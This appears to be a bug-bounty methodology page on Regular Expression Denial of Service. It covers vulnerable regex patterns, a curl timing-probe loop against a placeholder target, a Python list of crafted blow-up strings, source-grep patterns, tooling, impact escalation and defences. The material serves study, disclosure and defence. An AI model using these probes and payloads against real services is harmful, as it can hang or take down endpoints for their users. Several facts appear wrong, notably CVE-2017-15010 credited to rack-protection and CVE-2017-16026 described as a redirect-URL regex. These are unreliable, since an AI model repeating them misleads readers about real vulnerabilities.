ReDoS hunting methodology
TL;DR: Regular Expression Denial of Service (ReDoS) bugs come from catastrophic backtracking in NFA-based regex engines (JavaScript, Python’s
re, Java, .NET, Ruby). A crafted input causes exponential matching time, hanging an endpoint per request. Findable from source review, dependency audit (vuln-redospackages), or black-box fuzzing of user-controlled fields validated by regex.
What it is
NFA regex engines (the default in Node.js, Python, Java, .NET, PHP, Ruby) explore possible matches via backtracking. Certain regex patterns combined with non-matching inputs trigger O(2^n) work — a 50-character input can take minutes. Modern bounty programs accept ReDoS reports against authenticated and unauthenticated endpoints.
Vulnerable patterns
Three families:
- Nested quantifiers:
(a+)+,(.*)*,(\w+)*— the inner and outer quantifier both expand - Quantified overlapping alternations:
(a|a)+,(x|xx)*,(.|\w)+ - Quantified groups with optional content:
(a*)*b— whenbis missing, engine retries every split ofa*
Real-world examples:
^(.*)*$againstaaaaaaaaaaaaaaaaaaaaaa!→ seconds^(([a-z])+.)+[A-Z]([a-z])+$(CVE-2017-15010, rack-protection) → hours on long lowercase strings^([^,]+,)+$against,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,!- CVE-2017-16026
request@2.88.0: redirect URL regex
Tradecraft (bounty hunter)
Black-box approach:
1
2
3
4
5
6
# Time delta probe — measure baseline first
for i in 1 2 4 8 16 32 64 128 256 512; do
time curl -s -o /dev/null \
--data "email=$(python3 -c "print('a'*$i + '!')")@x" \
https://target.tld/register
done
Look for non-linear growth (10ms → 200ms → 2s → 20s). Linear is fine; super-linear is a bug.
Common attack surfaces:
- Email validators (RFC 5322 attempt regex)
- URL parsers (CVE-2024-37890
wslibrary) - Markdown/BBCode parsers
- Username/password complexity validators
- HTTP header parsers (
User-Agent,Cookie) - JSON schema validators using regex
pattern - Search field server-side parsing
- GraphQL string field validators
Test inputs (start small, escalate):
1
2
3
4
5
6
7
8
9
# Generic patterns — most regex engines die on at least one
attacks = [
'a' * 30 + '!', # for ^(a*)+$ style
'a' * 30, # for ^(a*)*$ unanchored
'!' + 'a' * 30,
'/' + '/a' * 30 + '/', # path-style
'@' * 30 + '!', # email-style
'http://' + 'a.' * 30, # URL-style
]
Source-review approach: grep your dependency tree for vulnerable patterns:
1
2
3
4
# All quantified groups inside quantifiers
rg --pcre2 '\([^)]*[+*][^)]*\)[+*]' --type js
# Common ReDoS shapes in JS regex literals
rg '/.*\(.*\+.*\).*[+*].*/' --type js
Tools:
vuln-regex-detector(Davis et al.) — checks libraries against known bad patterns + EGRET fuzzersafe-regex/safe-regex2(npm) — yes/no on a regex stringrecheck(JS) — runtime ReDoS detectorReScue— DFA-based safety checkerRegexBuddydebug mode — visual backtrackingregex101.com— debugger shows step count; slow patterns explode obviouslynode-rate-limiter-flexibleReDoS test harness
Programmatic generator for crafted bad-input strings — Wüstholz et al. “regex attack” technique:
1
2
3
4
# Given a vulnerable regex, find shortest input causing exponential blowup
pip install regex-attack
regex-attack '^([a-zA-Z0-9])(([\.\-]?[a-zA-Z0-9]+)*)\@([a-zA-Z0-9]+)$'
# Outputs: "AAAAAAAAAAAAAAAAAAAAA!"
Impact escalation for the report:
- Endpoint hangs server thread → multiple requests exhaust thread pool → DoS
- For Node.js (event loop): a single ReDoS request blocks ALL pending requests on that worker
- Memory growth: some engines allocate per-step state — OOM crash variant
- Authenticated ReDoS on shared workers still affects other tenants in multi-tenant SaaS
Demonstrate impact safely:
1
2
# Single curl, measure response time; report includes
# normal: 80ms; attack input: 47,000ms; same input × 5: 503 errors
Detection and defence
For program defenders:
- Migrate hot-path regex to RE2 (Go default, available for Node via
re2, Python viare2) — DFA, no backtracking, linear time - Bound regex execution time: Python
regexlibrary supportstimeout; Java has no per-regex timeout but you can usePattern.compile+ interrupt trick - Replace nested quantifiers with possessive quantifiers (
(a++)+is impossible to write incorrectly because possessives don’t backtrack) - For email validation: don’t write your own; use
validator.isEmail()(RFC 5322 with safety) or accept anything containing@and verify via confirmation link - WAF rules can block obvious attack inputs (long repeats + tail char) — defense in depth, not fix
- Move validation client-side AND server-side, but rate-limit server-side endpoint per IP
OPSEC pitfalls (bounty)
- Don’t escalate to multi-request bombardment without test plan in scope; many programs treat traffic floods as DoS-out-of-scope even when the root cause is ReDoS
- Test against a separate canary account if program supports staging — production locking yourself out via complexity validator ReDoS is common
- Report ONE vuln, not a list: each vulnerable regex is a separate disclosure
- Provide patched regex + proof — “use possessive quantifier” / “use RE2” raises payout tier
References
- OWASP — Regular Expression DoS
- Davis et al. — “The Impact of Regular Expression Denial of Service (ReDoS) in Practice” (ICSE 2018) — large-scale measurement
- Snyk — ReDoS vulnerability database
- Cloudflare — How a single regex took down Cloudflare
- vuln-regex-detector
See also: automated-fuzzer-vuln-discovery, rate-limit-bypass, wordlist-fuzzing-tactics, python-dangerous-sinks, dangerous-nodejs-sinks, email-gateway-bypass-techniques, graphql-batching-aliasing-abuse, reading-public-pocs-effectively